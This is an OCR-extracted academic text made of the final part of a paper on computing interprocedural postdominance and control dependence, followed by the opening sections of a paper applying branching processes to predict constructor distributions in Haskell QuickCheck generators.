d. PDOM[v][n] = false;
e. ELSE PDOM[v][w] = false;
22. procedure VISIT(node w, node v, node_set buckets, boolean marked) {
// process predecessors of w
23. IF (w is a return node in G from procedure F) // w target of return edge
24a. THEN
b. IF (v belongs to F) THEN let GRAPH-F = SF // use full graph of F
c. ELSE let GRAPH-F = CF; // use collapsed graph of F
25. IF (not marked(END-GRAPH-F)) THEN
26. work-list.add(END-GRAPH-F);
27. let node c = c(w) // call node paired with w in graph (SG or OG) containing w
28. IF (marked[START-GRAPH-F]) THEN work-list.add(c);
29. ELSE buckets[F].add(c);
}
Figure 5: Postdominator Computation with Preprocessing
Suppose \((i, j), (j, k) \in IPDOM\). We have just shown that \((i, j), (j, k) \in P_t\), so \((i, k) \in P_t^2\). Therefore, \((i, k) \notin IPDOM\).
\[\square\]
Theorem 2 \(IPDOM^* = PDOM\).
Proof:
- \(IPDOM^* \subseteq PDOM\): We show that \(IPDOM \subseteq PDOM\); since \(PDOM\) is transitively closed this proves the required result. From the definitions of \(IPDOM\) and \(P_t\), we obtain the following equation:
\[IPDOM = P_t \land \neg P_t^2 = PDOM \land \neg J_n \land P_t^2\]
The conjunction of \(PDOM\) with other matrices never has more \textit{true} entries than \(PDOM\) itself, so \(IPDOM \subseteq PDOM\).
- \(PDOM \subseteq IPDOM^*\): If \((x, y) \in PDOM\), let \(x = z_0, z_1, z_2, ..., z_n = y\) be the longest path from \(x\) to \(y\) in the graph of \(PDOM\) where \(z_0, z_1, ..., z_n\) are all distinct nodes (such a path exists because the graph, without self-loops, is acyclic). Let us call this path \(R\).
For all \(k\), \(z_k\) and \(z_{k+1}\) are distinct nodes, so \((z_k, z_{k+1}) \in P_t\); furthermore, \((z_k, z_{k+1}) \notin P_t^2\) since otherwise, there is a path of length 2 from \(z_k\) to \(z_{k+1}\) in the graph of \(P_t\), and hence in the graph of \(PDOM\), contradicting the assumption that \(R\) is the longest path from \(x\) to \(y\) in the graph of \(PDOM\).
\[\square\]
These facts lead to the following result.
Lemma 3 The transitive reduction of the interprocedural postdominance relation can be computed in time \(O(|V| \times (|E| + |V|^2))\).
6 Computation of Interprocedural Control Dependence
In this section, we briefly outline how to compute the control dependence relation \(C\) and its related sets (Definitions 8 and 9). One can represent \(C\) as an \(|E| \times |V|\) Boolean array whose entry \(C[e, w]\) is set to true
iff node \( w \) is control dependent on edge \( e \). Alternatively, \( C \) can be considered as the edge set of a bipartite graph \( B = (E, V, C) \), with vertex sets \( E \) and \( V \). Both representations have size \( O(|V||E|) \), in the worst case; if the relation is sparse, however, the size of \( B \) could be much smaller.
Relation \( C \) can be easily constructed from the interprocedural postdominance relation by simply scanning all pairs \((e = (u, v), w)\) and checking the entries \( \text{PDOM}[w][u] \) and \( \text{PDOM}[w][v] \). This takes time \( O(|V||E|) \), for both the array and the graph representations.
In the graph representation, set \( \text{cond}(e) \) is easily obtained, in time proportional to its size, by collecting the neighbors of \( e \) in \( B \). A similar approach can be used to obtain \( \text{cond}(w) \).
Finally, the \text{codequiv} sets, that are the equivalence classes of nodes that have the same dependences, can be obtained by the following approach. A partition of \( V \), initially consisting of just one set, is progressively refined until, at the end, the blocks of the partition coincide with the \text{codequiv} sets. A refinement phase is performed for each edge \( e \) by splitting each block of the partition into two subblocks, respectively containing the nodes that are and are not control dependent on \( e \). It is easy to see that the entire process can be completed in time \( O(|V||E|) \).
### 7 Experimental Results
We have implemented these algorithms as a plug-in to the GrammaTech CodeSurfer [1] program analysis tool. We used only the control flow graphs generated by CodeSurfer for C programs and none of that tool’s other analysis capabilities. The implementation of each algorithm (iterative and reachability with pre-processing) required less than 100 lines of scheme code.
Table 1 compares the performance of the two algorithms for computing interprocedural postdominance that we have discussed in this paper. We used the following test programs:
- **mutual**: A test program involving mutual recursion
- **postfix**: A postfix calculator
- **tic-tac-toe**: A text-based tic-tac-toe game using alpha-beta search
- **compress**: SPECint95 file compression utility

The first four data columns in Table 1 give the number of nodes, edges, procedures, and call nodes in the program respectively. The column \( \text{PDOM} \) shows the number of non-zero entries in the full interprocedural postdominance relation. The columns \( I. \ Set \) and \( I. \ List \) indicate the number of set and work-list operations performed by the iterative algorithm respectively. Likewise, the columns \( R. \ Set \) and \( R. \ List \) indicate the number of set and work-list operations performed by the reachability algorithm. The time columns are in milliseconds as recorded on our 650Mhz Pentium III (256 MB RAM) system.
Since the reachability algorithm makes only local updates to the PDOM relation when a node is processed it performs far fewer set update operations than the iterative algorithm. The iterative algorithm must perform union and intersection operations over bit vectors of length equal to the number of nodes in the program at each update. By storing the results of our preprocessing searches in small, single-procedure-sized bit-vectors, we are able to get most of the advantage of updating a word length bit vector segment in a single operation without the added expense of updating an entire \( |V| \)-sized bit vector. Furthermore, since the reachability based algorithm relies upon repeated searches, it generally requires more constant-time list operations than the iterative algorithm. Therefore, in practice, the two algorithms offer competitive performance.
It should be noted that for very large programs, the reachability based algorithm, which computes a single column of the postdominance relation in each iteration, should demonstrate significantly better data
locality than the iterative algorithm. The reachability-based algorithm also offers the ability to compute only the nodes a particular node postdominates; a feature the iterative algorithm does not offer.
8 Conclusions and Future Work
In this paper we have presented two efficient algorithms for computing interprocedural control dependence by first computing interprocedural postdominance. While the reachability-based algorithm we present runs in time quadratic in the size of the CFG, it requires that the entire postdominance relation be computed. Our future goal is to develop an algorithm to compute the postdominance DAG directly in a manner similar to the one by which Leugauer and Tarjan [19] directly compute the postdominance tree in the intraprocedural case. Such an algorithm would eliminate the need to compute a transitive reduction as well as ameliorate the space demands of present algorithms that often make them insensible for very large programs.
From the DAG representation of the postdominance relation our hope is to extend the Roman chariots [24] formulation of control dependence queries to this case. Such an extension would allow us to answer control dependence queries more quickly and without the need to either store or explicitly compute the entire control dependence relation.
It is also our goal to incorporate into our program model atypical control flow effects such as embedded halts and exception handling. Recent work [31] suggests that such effects can be incorporated by augmenting the existing program representation with additional nodes and edges and then acting in some appropriate way when traversing the additional edges to preserve context. It is our belief that the core algorithm presented here will extend naturally to those representations.
Finally, we hope to integrate these algorithms into a toolkit to do both interprocedural control and data flow analysis as well as program slicing on large programs. The accepted data structure for slicing is the system dependence graph, SDG, [16] that can be thought of as a multi-entry, multi-exit variant of the interprocedural control flow graph. In the SDG call sites and entry nodes are augmented with nodes representing actual and formal input data, respectively. Likewise the return and exit nodes are augmented with actual and formal output nodes. Hence, the formal parameter nodes act as additional entry and exit points of a procedure. Edges in the SDG represent traditional types of control and data dependence. Given this representation program slicing can be reduced to a reachability problem from a designated starting point. We believe that the reachability-based algorithm described in this paper extends naturally to slicing in this representation.
9 Acknowledgments
The work of G. Bilardi was supported in part by MURST of Italy and by IBM while this author was a visitor at the T. J. Watson Research Laboratory. J. Ezick and K. Pingali were supported by NSF grants EIA-9726388, ACI-9870687, EIA-9972853, ACI-0085969, ACI-0092014, and ACI-0121401.
References
|
{"Source-Url": "https://iss.oden.utexas.edu/Publications/Papers/TR01-1850.pdf", "len_cl100k_base": 11441, "olmocr-version": "0.1.50", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 70633, "total-output-tokens": 14533, "length": "2e13", "weborganizer": {"__label__adult": 0.0003299713134765625, "__label__art_design": 0.0002799034118652344, "__label__crime_law": 0.000293731689453125, "__label__education_jobs": 0.0005650520324707031, "__label__entertainment": 5.358457565307617e-05, "__label__fashion_beauty": 0.00014829635620117188, "__label__finance_business": 0.00017571449279785156, "__label__food_dining": 0.0003445148468017578, "__label__games": 0.0005316734313964844, "__label__hardware": 0.0008983612060546875, "__label__health": 0.0005106925964355469, "__label__history": 0.00023186206817626953, "__label__home_hobbies": 9.328126907348631e-05, "__label__industrial": 0.0003566741943359375, "__label__literature": 0.0002734661102294922, "__label__politics": 0.0002310276031494141, "__label__religion": 0.0004744529724121094, "__label__science_tech": 0.0180511474609375, "__label__social_life": 7.176399230957031e-05, "__label__software": 0.004398345947265625, "__label__software_dev": 0.970703125, "__label__sports_fitness": 0.0002956390380859375, "__label__transportation": 0.0005235671997070312, "__label__travel": 0.00019919872283935547}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 50500, 0.03625]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 50500, 0.50032]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 50500, 0.86432]], "google_gemma-3-12b-it_contains_pii": [[0, 3078, false], [3078, 8606, null], [8606, 12322, null], [12322, 14643, null], [14643, 18120, null], [18120, 23987, null], [23987, 26008, null], [26008, 31290, null], [31290, 34496, null], [34496, 37253, null], [37253, 41280, null], [41280, 45107, null], [45107, 48667, null], [48667, 50500, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3078, true], [3078, 8606, null], [8606, 12322, null], [12322, 14643, null], [14643, 18120, null], [18120, 23987, null], [23987, 26008, null], [26008, 31290, null], [31290, 34496, null], [34496, 37253, null], [37253, 41280, null], [41280, 45107, null], [45107, 48667, null], [48667, 50500, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 50500, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 50500, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 50500, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 50500, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 50500, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 50500, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 50500, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 50500, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 50500, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 50500, null]], "pdf_page_numbers": [[0, 3078, 1], [3078, 8606, 2], [8606, 12322, 3], [12322, 14643, 4], [14643, 18120, 5], [18120, 23987, 6], [23987, 26008, 7], [26008, 31290, 8], [31290, 34496, 9], [34496, 37253, 10], [37253, 41280, 11], [41280, 45107, 12], [45107, 48667, 13], [48667, 50500, 14]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 50500, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-03
|
2024-12-03
|
d0fbdda7116fe2fa83151d78010ead5ccbf7730d
|
Branching Processes for QuickCheck Generators
Citation for the original published paper (version of record):
Mista, C., Russo, A., Hughes, J. (2018)
Branching Processes for QuickCheck Generators
http://dx.doi.org/10.1145/3242744.3242747
N.B. When citing this work, cite the original published paper.
Branching Processes for QuickCheck Generators
Agustín Mista
Universidad Nacional de Rosario
Rosario, Argentina
amista@dcc.fceia.unr.edu.ar
Alejandro Russo
Chalmers University of Technology
Gothenburg, Sweden
russo@chalmers.se
John Hughes
Chalmers University of Technology
Gothenburg, Sweden
rjmh@chalmers.se
Abstract
In QuickCheck (or, more generally, random testing), it is challenging to control random data generators’ distributions—specially when it comes to user-defined algebraic data types (ADT). In this paper, we adapt results from an area of mathematics known as branching processes, and show how they help to analytically predict (at compile-time) the expected number of generated constructors, even in the presence of mutually recursive or composite ADTs. Using our probabilistic formulas, we design heuristics capable of automatically adjusting probabilities in order to synthesize generators which distributions are aligned with users’ demands. We provide a Haskell implementation of our mechanism in a tool called DRAGEN and perform case studies with real-world applications. When generating random values, our synthesized QuickCheck generators show improvements in code coverage when compared with those automatically derived by state-of-the-art tools.
CCS Concepts • Software and its engineering → Software testing and debugging;
Keywords Branching process, QuickCheck, Testing, Haskell
ACM Reference Format:
1 Introduction
Random property-based testing is an increasingly popular approach to finding bugs [3, 16, 17]. In the Haskell community, QuickCheck [9] is the dominant tool of this sort. QuickCheck requires developers to specify testing properties describing the expected software behavior. Then, it generates a large number of random test cases and reports those violating the testing properties. QuickCheck generates random data by employing random test data generators or QuickCheck generators for short. The generation of test cases is guided by the types involved in the testing properties. It defines default generators for many built-in types like booleans, integers, and lists. However, when it comes to user-defined ADTs, developers are usually required to specify the generation process. The difficulty is, however, that it might become intricate to define generators so that they result in a suitable distribution or enforce data invariants.
The state-of-the-art tools to derive generators for user-defined ADTs can be classified based on the automation level as well as the sort of invariants enforced at the data generation phase. QuickCheck and SmallCheck [27] (a tool for writing generators that synthesize small test cases) use type-driven generators written by developers. As a result, generated random values are well-typed and preserve the structure described by the ADT. Rather than manually writing generators, libraries derive [24] and MegaDeTH [13, 14] automatically synthesize generators for a given user-defined ADT. The library derive provides no guarantees that the generation process terminates, while MegaDeTH pays almost no attention to the distribution of values. In contrast,Feat [11] provides a mechanism to uniformly sample values from a given ADT. It enumerates all the possible values of a given ADT so that sampling uniformly from ADTs becomes sampling uniformly from the set of natural numbers.Feat’s authors subsequently extend their approach to uniformly generate values constrained by user-defined predicates [8]. Lastly, Luck is a domain specific language for manually writing QuickCheck properties in tandem with generators so that it becomes possible to finely control the distribution of generated values [18].
In this work, we consider the scenario where developers are not fully aware of the properties and invariants that input data must fulfill. This constitutes a valid assumption for penetration testing [2], where testers often apply fuzzers in an attempt to make programs crash—an anomaly which might lead to a vulnerability. We believe that, in contrast, if users can recognize specific properties of their systems then it is preferable to spend time writing specialized generators for that purpose (e.g., by using Luck) instead of considering automatically derived ones.
Our realization is that branching processes [29], a relatively simple stochastic model conceived to study the evolution of populations, can be applied to predict the generation distribution of ADTs’ constructors in a simple and automatable
manner. To the best of our knowledge, this stochastic model has not yet been applied to this field, and we believe it may be a promising foundation to develop future extensions. The contributions of this paper can be outlined as follows:
- We provide a mathematical foundation which helps to analytically characterize the distribution of constructors in derived QuickCheck generators for ADTs.
- We show how to use type reification to simplify our prediction process and extend our model to mutually recursive and composite types.
- We design (compile-time) heuristics that automatically search for probability parameters so that distributions of constructors can be adjusted to what developers might want.
- We provide an implementation of our ideas in the form of a Haskell library\(^1\) called DRAGEN (the Danish word for dragon, here standing for Derivation of RAndom GENerators).
- We evaluate our tool by generating inputs for real-world programs, where it manages to obtain significantly more code coverage than those random inputs generated by MegaDeTH’s generators.
Overall, our work addresses a timely problem with a neat mathematical insight that is backed by a complete implementation and experience on third-party examples.
2 Background
In this section, we briefly illustrate how QuickCheck random generators work. We consider the following implementation of binary trees:
```haskell
data Tree = LeafA | LeafB | LeafC | Node Tree Tree
```
In order to help developers write generators, QuickCheck defines the Arbitrary type-class with the overloaded symbol `arbitrary :: Gen a`, which denotes a monadic generator for values of type `a`. Then, to generate random trees, we need to provide an instance of the Arbitrary type-class for the type `Tree`. Figure 1 shows a possible implementation. At the top level, this generator simply uses QuickCheck’s primitive `oneof :: [Gen a] -> Gen a` to pick a generator from a list of generators with uniform probability. This list consists of a random generator for each possible choice of data constructor of `Tree`. We use applicative style [21] to describe each one of them idiomatically. So, `pure LeafA` is a generator that always generates `LeafA`s, while `Node (pure a) arbitrary (pure b)` is a generator that always generates `Node` constructors, “filling” its arguments by calling `arbitrary` recursively on each of them.

Although it might seem easy, writing random generators becomes cumbersome very quickly. Particularly, if we want to write a random generator for a user-defined ADT `T`, it is also necessary to provide random generators for every user-defined ADT inside of `T` as well! What remains of this section is focused on explaining the state-of-the-art techniques used to automatically derive generators for user-defined ADTs via type-driven approaches.
2.1 Library derive
The simplest way to automatically derive a generator for a given ADT is the one implemented by the Haskell library derive [24]. This library uses Template Haskell [28] to automatically synthesize a generator for the data type `Tree` semantically equivalent to the one presented in Figure 1.
While the library derive is a big improvement for the testing process, its implementation has a serious shortcoming when dealing with recursively defined data types: in many cases, there is a non-zero probability of generating a recursive type constructor every time a recursive type constructor gets generated, which can lead to infinite generation loops. A detailed example of this phenomenon is presented in the supplementary material [23]. In this work, we only focus on derivation tools which accomplish terminating behavior, since we consider this an essential component of well-behaved generators.
2.2 MegaDeTH
The second approach we will discuss is the one taken by MegaDeTH, a meta-programming tool used intensively by QuickFuzz [13, 14]. Firstly, MegaDeTH derives random generators for ADTs as well as all of its nested types—a useful feature not supported by derive. Secondly, MegaDeTH avoids potentially infinite generation loops by setting an upper bound to the random generation recursive depth.
Figure 2 shows a simplified (but semantically equivalent) version of the random generator for `Tree` derived by MegaDeTH. This generator uses QuickCheck’s function `sized :: (Int -> Gen a) -> Gen a` to build a random generator based on a function (of type `Int -> Gen a`) that limits the possible recursive calls performed when creating random values. The integer passed to `sized`’s argument is called the generation size. When the generation size is zero (see definition `gen 0`), the generator only chooses between the `Tree`’s terminal constructors—thus

\(^1\)Available at [https://bitbucket.org/agustinmista/dragen](https://bitbucket.org/agustinmista/dragen)
ending the generation process. If the generation size is strictly positive, it is free to randomly generate any Tree constructor (see definition gen n). When it chooses to generate a recursive constructor, it reduces the generation size for its subsequent recursive calls by a factor that depends on the number of recursive arguments this constructor has (div n 2). In this way, MegaDeTH ensures that all generated values are finite.
Although MegaDeTH generators always terminate, they have a major practical drawback: in our example, the use of oneof to uniformly decide the next constructor to be generated produces a generator that generates leaves approximately three quarters of the time (note this also applies to the generator obtained with derive from Figure 1). This entails a distribution of constructors heavily concentrated on leaves, with a very small number of complex values with nested nodes, regardless how large the chosen generation size is—see Figure 3 (left).
2.3 Feat
The last approach we discuss is Feat [11]. This tool determines the distribution of generated values in a completely different way: it uses uniform generation based on an exhaustive enumeration of all the possible values of the ADTs being considered. Feat automatically establishes a bijection between all the possible values of a given type T, and a finite prefix of the natural numbers. Then, it guarantees a uniform generation over the complete space of values of a given data type T up to a certain size. However, the distribution of size, given by the number of constructors in the generated values, is highly dependent on the structure of the data type being considered.
Figure 3 (right) shows the overall distribution shape of a QuickCheck generator derived using Feat for Tree using a generation size of 400, i.e., generating values of up to 400 constructors. Notice that all the generated values are close to the maximum size! This phenomenon follows from the exponential growth in the number of possible Trees of n constructors as we increase n. In other words, the space of Trees up to 400 constructors is composed to a large extent of values with around 400 constructors, and (proportionally) very few with a smaller number of constructors. Hence, a generation process based on uniform generation of a natural number (which thus ignores the structure of the type being generated) is biased very strongly towards values made up of a large number of constructors. In our tests, no Tree with less than 390 constructors was ever generated. In practice, this problem can be partially solved by using a variety of generation sizes in order to get more diversity in the generated values. However, to decide which generation sizes are the best choices is not a trivial task either. As consequence, in this work we consider only the case of fixed-size random generation.
As we have shown, by using both MegaDeTH and Feat, the user is tied to the fixed generation distribution that each tool produces, which tends to be highly dependent on the particular data type under consideration on each case. Instead, this work aims to provide a theoretical framework able to predict and later tune the distributions of automatically derived generators, giving the user a more flexible testing environment, while keeping it as automated as possible.
3 Simple-Type Branching Processes
Galton-Watson Branching processes (or branching processes for short) are a particular case of Markov processes that model the growth and extinction of populations. Originally conceived to study the extinction of family names in the Victorian era, this formalism has been successfully applied to a wide range of research areas in biology and physics—see the textbook by Haccou et al. [15] for an excellent introduction. In this section, we show how to use this theory to model QuickCheck’s distribution of constructors.
We start by analyzing the generation process for the Node constructors in the data type Tree as described by the generators in Figure 1 and 2. From the code, we can observe that the stochastic process they encode satisfies the following assumptions (which coincide with the assumptions of Galton-Watson branching processes): i) With a certain probability, it starts with some initial Node constructor. ii) At any step, the probability of generating a Node is not affected by the Nodes generated before or after. iii) The probability of generating a Node is independent of where in the tree that constructor is about to be placed.
The original Galton-Watson process is a simple stochastic process that counts the population sizes at different points in time called generations. For our purposes, populations consist of Node constructors, and generations are obtained by selecting tree levels.
Figure 4 illustrates a possible generated value. It starts by generating a Node constructor at generation (i.e., depth) zero (G₀), then another two Node constructors as left and right
subtrees in generation one ($G_1$), etc. (Dotted edges denote further constructors which are not drawn, as they are not essential for the point being made.) This process repeats until the population of Node constructors becomes extinct or stable, or alternatively grows forever.
The mathematics behind the Galton-Watson process allows us to predict the expected number of offspring at the nth-generation, i.e., the number of Node constructors at depth $n$ in the generated tree. Formally, we start by introducing the random variable $R$ to denote the number of Node constructors in the next generation generated by a Node constructor in this generation—the $R$ comes from "reproduction" and the reader can think it as a Node constructor reproducing Node constructors. To be a bit more general, let us consider the Tree random generation automatically generated using derive (Figure 1), but where the probability of choosing between any constructor is no longer uniform. Instead, we have a $pC$ probability of choosing the constructor $C$. These probabilities are external parameters of the prediction mechanism, and Section 7 explains how they can later be instantiated with actual found values by optimization, enabling the user to tune the generated distribution.
We note $p_{\text{Leaf}}$ as the probability of generating a leaf of any kind, i.e., $p_{\text{Leaf}} = p_{\text{LeafA}} + p_{\text{LeafB}} + p_{\text{LeafC}}$. In this setting, and assuming a parent constructor Node, the probabilities of generating $R$ numbers of Node offspring in the next generation (i.e., in the recursive calls of arbitrary) are as follows:
$$
P(R = 0) = p_{\text{Leaf}} \cdot p_{\text{Leaf}}
$$
$$
P(R = 1) = p_{\text{Node}} \cdot p_{\text{Leaf}} + p_{\text{Leaf}} \cdot p_{\text{Node}} = 2 \cdot p_{\text{Node}} \cdot p_{\text{Leaf}}
$$
$$
P(R = 2) = p_{\text{Node}} \cdot p_{\text{Node}}
$$
One manner to understand the equations above is by considering what QuickCheck does when generating the subtrees of a given node. For instance, the cases when generating exactly one Node as descendant ($P(R = 1)$) occurs in two situations: when the left subtree is a Node and the right one is a Leaf; and viceversa. The probability for those events to occur is $p_{\text{Node}} \cdot p_{\text{Leaf}}$ and $p_{\text{Leaf}} \cdot p_{\text{Node}}$, respectively. Then, the probability of having exactly one Node as a descendant is given by the sum of the probability of both events—the other cases follow a similar reasoning.
Now that we have determined the distribution of $R$, we proceed to introduce the random variables $G_n$ to denote the population of Node constructors in the nth generation. We write $\xi^n_i$ for the random variable which captures the number of (offspring) Node constructors at the nth generation produced by the ith Node constructor at the (n-1)th generation. It is easy to see that it must be the case that $G_n = \xi^n_1 + \xi^n_2 + \cdots + \xi^n_{G_{n-1}}$.
To deduce $E[G_n]$, i.e., the expected number of Nodes in the nth generation, we apply the (standard) Law of Total Expectation $E[X] = E[E[X|Y]]$ with $X = G_n$ and $Y = G_{n-1}$ to obtain:
$$
E[G_n] = E[E[G_n|G_{n-1}]].
$$
(1)
By expanding $G_n$, we deduce that:
$$
E[G_n|G_{n-1}] = E[\xi^n_1 + \xi^n_2 + \cdots + \xi^n_{G_{n-1}}|G_{n-1}]
$$
$$
= E[\xi^n_1|G_{n-1}] + E[\xi^n_2|G_{n-1}] + \cdots + E[\xi^n_{G_{n-1}}|G_{n-1}]
$$
Since $\xi^n_1, \xi^n_2, \ldots, \xi^n_{G_{n-1}}$ are all governed by the distribution captured by the random variable $R$ (recall the assumptions at the beginning of the section), we have that:
$$
E[G_n|G_{n-1}] = E[R|G_{n-1}] + E[R|G_{n-1}] + \cdots + E[R|G_{n-1}]
$$
Since $R$ is independent of the generation where Node constructors decide to generate other Node constructors, we have that
$$
E[G_n|G_{n-1}] = E[R] + E[R] + \cdots + E[R] = E[R] \cdot G_{n-1} \quad \text{times}
$$
(2)
From now on, we introduce $m$ to denote the mean of $R$, i.e., the mean of reproduction. Then, by rewriting $m = E[R]$, we obtain:
$$
E[G_n] = E[E[G_n|G_{n-1}]] = E[m \cdot G_{n-1}] = E[G_{n-1}] \cdot m
$$
By unfolding this recursive equation many times, we obtain:
$$
E[G_n] = E[G_0] \cdot m^n
$$
(3)
As the equation indicates, the expected number of Node constructors at the nth generation is affected by the mean of reproduction. Although we obtained this intuitive result using a formalism that may look overly complex, it is useful to understand the methodology used here. In the next section, we will derive the main result of this work following the same reasoning line under a more general scenario.
We can now also predict the total expected number of individuals up to the nth generation. For that purpose, we introduce the random variable $P_n$ to denote the population of Node constructors up to the nth generation. It is then easy to see that $P_n = \sum_{i=0}^{n} G_i$ and consequently:
$$
P_n = \sum_{i=0}^{n} E[G_i] = \sum_{i=0}^{n} E[G_0] \cdot m^i = E[G_0] \cdot \left(1 - \frac{m^{n+1}}{1-m}\right)
$$
(4)
where the last equality holds by the geometric series definition. This is the general formula provided by the Galton-Watson process. In this case, the mean of reproduction for Node is given by:
$$
m = E[R] = \sum_{k=0}^{2} k \cdot P(R = k) = 2 \cdot p_{\text{Node}}
$$
(5)
---
$\xi^n_i$ is a function on the random variable $Y$, i.e., $E[X|Y] = E[X|Y = y]$ and therefore it is a random variable itself. In this light, the law says that if we observe the expectations of $X$ given the different $y_i$, and then we do the expectation of all those values, then we have the expectation of $X$.
Figure 4. Generation of Node constructors.
By (4) and (5), the expected number of $\text{Node}$ constructors up to generation $n$ is given by the following formula:
$$E[P_n] = E[G_n] \cdot \left( \frac{1 - m^{n+1}}{1 - m} \right) = p_{\text{Node}} \cdot \left( \frac{1 - (2 \cdot p_{\text{Node}})^{n+1}}{1 - 2 \cdot p_{\text{Node}}} \right)$$
If we apply the previous formula to predict the distribution of constructors induced by MegaDeTH in Figure 2, where $p_{\text{Leaf}A} = p_{\text{Leaf}B} = p_{\text{Leaf}C} = p_{\text{Node}} = 0.25$, we obtain an expected number of $\text{Node}$ constructors up to level 10 of 0.4997, which denotes a distribution highly biased towards small values, since we can only produce further subterms by producing $\text{Nodes}$. However, if we set $p_{\text{Leaf}A} = p_{\text{Leaf}B} = p_{\text{Leaf}C} = 0.1$ and $p_{\text{Node}} = 0.7$, we can predict that, as expected, our general random generator will generate much bigger trees, containing an average number of 69.173 $\text{Nodes}$ up to level 10! Unfortunately, we cannot apply this reasoning to predict the distribution of constructors for derived generators for ADTs with more than one non-terminal constructor. For instance, let us consider the following data type definition:
```haskell
data Tree' = Leaf | NodeA Tree' Tree' | NodeB Tree'
```
In this case, we need to separately consider that a $\text{NodeA}$ can generate not only $\text{NodeA}$ but also $\text{NodeB}$ offspring (similarly with $\text{NodeB}$). A stronger mathematical formalism is needed. The next section explains how to predict the generation of this kind of data types by using an extension of Galton-Waston processes known as multi-type branching processes.
4 Multi-Type Branching Processes
In this section, we present the basis for our main contribution: the application of multi-type branching processes to predict the distribution of constructors. We will illustrate the technique by considering the $\text{Tree}'$ ADT that we concluded with in the previous section.
Before we dive into technicalities, Figure 5 shows the automatically derived generator for $\text{Tree}'$ that our tool produces. Our generators depend on the (possibly) different probabilities that constructors have to be generated—variables $p_{\text{Leaf}}$, $p_{\text{NodeA}}$, and $p_{\text{NodeB}}$. These probabilities are used by the function `chooseWith`:
```haskell
instance Arbitrary Tree' where
arbitrary = sized gen where
gen 0 = pure Leaf
gen n = chooseWith
[(p_{\text{Leaf}}, pure Leaf),
(p_{\text{NodeA}}, NodeA ($) gen (n-1) (+) gen (n-1)),
(p_{\text{NodeB}}, NodeB ($) gen (n-1))]
```
Figure 5. DRAGEN generator for $\text{Tree}'$.
As explained above, the reproduction behavior is determined by the kind of the individual. In this light, we introduce random variable $R_{ij}$ to denote a parent $i$th constructor reproducing a $j$th constructor. As we did before, we apply the equation $E[X] = E[E[X|Y]]$ with $X = G_n$ and $Y = G_{n-1}$, to obtain $E[G_n] = E[E[G_n|G_{n-1}]]$. To deduce $E[G_n]$, we focus on deducing each component of the vector.
In the generation process, it is assumed that the kind (i.e., the constructor) of the parent might affect the probabilities of reproducing (generating) offspring of a certain kind. Observe that this is the case for a wide range of derived ADT generators, e.g., choosing a terminal constructor (e.g., $\text{Leaf}$) affects the probabilities of generating non-terminal ones (by setting them to zero). The population at the $n$th generation is then characterized as a vector of random variables $G_n = (G_n^a, G_n^b, \ldots, G_n^d)$, where $d$ is the number of different kinds of constructors. Each random variable $G_n^i$ captures the number of occurrences of the $i$th-constructor of the ADT at the $n$th generation. Essentially, $G_n$ “groups” the population at level $n$ by the constructors of the ADT. By estimating the expected shape of the vector $G_n$, it is possible to obtain the expected number of constructors at the $n$th generation. Specifically, we have that $E[G_n] = (E[G_n^a], E[G_n^b], \ldots, E[G_n^d])$. To deduce $E[G_n]$, we focus on deducing each component of the vector.
different parents of kind $i$, i.e., $E[R_{ij}]$, times the amount of parents of kind $i$ found in the level $(n - 1)$, i.e., $G_{(n-1)}^i$. This result is expressed by the following equation marked as (\textbullet{}), and is formally verified in the supplementary material.
$$E[G_n^i|G_{n-1}] = E[G_{n}^i|G_{n-1}] = E \left[ \sum_{i=1}^{d} G_{(n-1)}^i \cdot m_{ij} \right] = \sum_{i=1}^{d} E[G_{(n-1)}^i] \cdot m_{ij}$$
(6)
Similarly as before, we rewrite $E[R_{ij}]$ as $m_{ij}$, which now represents a single expectation of reproduction indexed by the kind of both the parent and child constructor.
\textbf{Mean matrix of constructors} In the previous section, $m_{ij}$ was the expectation of reproduction of a single constructor. Now we have $m_{ij}$ as the expectation of reproduction indexed by the parent and child constructor. In this light, we define $M_C$, the \textit{mean matrix of constructors} (or mean matrix for simplicity) such that each $m_{ij}$ stores the expected number of $j$th constructors generated by the $i$th constructor. $M_C$ is a parameter of the Galton-Watson multi-type process and can be built at compile-time using statically known type information. We are now able to deduce $E[G_n^i]$.
$$E[G_n^i] = E[G_n^i|G_{n-1}] = E \left[ \sum_{i=1}^{d} G_{(n-1)}^i \cdot m_{ij} \right] = \sum_{i=1}^{d} E[G_{(n-1)}^i] \cdot m_{ij}$$
Using this last equation, we can rewrite $E[G_n]$ as follows.
$$E[G_n] = \left( \sum_{i=1}^{d} E[G_{(n-1)}^i] \cdot m_{i1}, \ldots, \sum_{i=1}^{d} E[G_{(n-1)}^i] \cdot m_{id} \right)$$
By linear algebra, we can rewrite the vector above as the matrix multiplication $E[G_n] = E[G_{n-1}]^T \cdot M_C$. By repeatedly unfolding this definition, we obtain that:
$$E[G_n]^T = E[G_0]^T \cdot (M_C)^n$$
(7)
This equation is a generalization of (3) when considering many constructors. As we did before, we introduce a random variable $P_n = \sum_{i=0}^{n} G_i$ to denote the population up to the $n$th generation. It is now possible to obtain the expected population of all the constructors but in a clustered manner:
$$E[P_n]^T = E \left[ \sum_{i=0}^{n} G_i \right]^T = \sum_{i=0}^{n} E[G_i]^T \cdot (M_C)^n$$
